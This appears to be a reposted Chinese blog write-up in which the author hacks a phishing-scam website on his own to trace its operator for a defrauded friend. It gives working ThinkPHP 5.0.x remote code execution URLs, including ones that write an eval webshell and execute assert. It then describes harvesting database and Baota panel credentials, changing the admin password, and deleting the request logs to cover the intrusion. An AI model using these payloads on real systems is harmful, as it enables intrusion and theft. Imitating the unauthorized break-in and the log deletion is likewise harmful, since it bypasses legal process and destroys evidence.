记一次对钓鱼诈骗网站的测试
Posted 巡安似海
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了记一次对钓鱼诈骗网站的测试相关的知识,希望对你有一定的参考价值。
前言背景
一个学长前几天不幸在钓鱼网站中招被骗走一些资金,在联系有关部门前找到了我看看能不能获取到一些有用的信息以便于有关部门行动
外网对网站打点
在对网站进行初步信息收集后发现网站使用Thinkphp5.0.7
框架,直接找到ThinkPHP
对应版本的Exp进行尝试:
http://www.hu*****.***/index.php?s=/index/\\think\\app/invokefunction&function=phpinfo&vars[0]=1 //执行phpinfo
成功弹出phpinfo
,ThinkPHP
的RCE漏洞没有修复,并且通过phpinfo
可以看出服务器使用宝塔搭建,运行Windows
系统,本想着接下来的事情就非常简单了,但是当我写Shell
时遇到了困难:
http://www./index.php?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=ye.php&vars[1][]=<?php eval($_POST[cmd]);?>
文件被成功写入,但是却直接输出在了页面中,查看源代码发现< >
被转义为了html
实体编码:
在尝试利用base64
编码后再写入,发现依然被转义,直接命令执行试一试:
http://www.hu*****.***/index.php?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=dir
发现并没有出现回显,尝试反弹Shell
也无功而返,这个时候感觉到system
可能被禁用了,改用eval
依旧无果,最后使用assert
发现可以成功执行,直接构造Shell
连接:
http://www./index.php?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=@eval($_POST[ye])
得到Shell
后先尝试执行命令,但是命令依旧无法正常执行,尝试突破disables_function
但失败了
这个时候思路转换一下,查看ThinkPHP
框架的服务器配置文件/application/database.php
得到mysql
数据库账户
提权未遂
连接数据库:
查询后台管理员数据:
却发现md5无法解开,但是大致查看了数据库中的数据,到这里并没有发现什么有较大帮助的数据,因而并没有考虑继续死磕在后台账户上
接下来的主要重心应放在对于该站点管理员的信息收集上,先查看一下ThinkPHP
框架中的日志记录文件/runtime/log/202107/05.log
在日志中发现system
函数果然被禁用了:
与此同时也在日志中发现了一条刚才检查数据库时忽略掉的重要数据——后台管理员最后登陆IP:
翻阅前几日记录发现最后登陆IP
都是101.78.*.*
这个IP地址,怀疑这就是网站管理员IP
地址,反馈给学长后查询了一下该IP
,发现是香港的,心里一慌:这应该是挂了VP*
了吧
结果不出所料:
接下来的工作陷入了僵局,翻阅ThinkPHP
的日志后并没有发现其他IP的登陆数据,修改数据库中后台管理员账户密码,登录后台后也没有发现任何有用的信息,只有一些钓鱼文章的管理:
后来和一个大师傅交流了一下,大师傅建议查一下看宝塔中有没有留下有用信息,在C:/BtSoft/panel/data/default.db
中找到了宝塔面板的数据文件,获取到宝塔的账户信息:
同时也查阅了一下宝塔数据库中的log日志内容:
但是却无法解出密码,这时可以通过覆盖db文件重新设置账户密码,但该方法需要重启面板,受限于我们目前的情况,这个办法很难实现
于是思路再次陷入了僵局中,睡了一觉第二天醒来想起宝塔面板会有请求记录日志,于是在C:/BtSoft/panel/logs/request/
中找到了大量以json
形式储存的请求信息
打开时间较早的日志文件,果然有所突破(有可能是代理
不稳定,在操作时突然挂掉了,导致真实IP
的泄漏):
在查询175.167.*.*
后,发现是辽宁沈阳的IP
地址,用网上的工具进行大致定位反馈给学长
顺带将网站的源码、数据库、log
日志文件进行打包取证,一并收集起来,最后再删掉我们在sh时留下的请求记录
完事收工
以上是关于记一次对钓鱼诈骗网站的测试的主要内容,如果未能解决你的问题,请参考以下文章
记一次对 Laravel-permission 项目的性能优化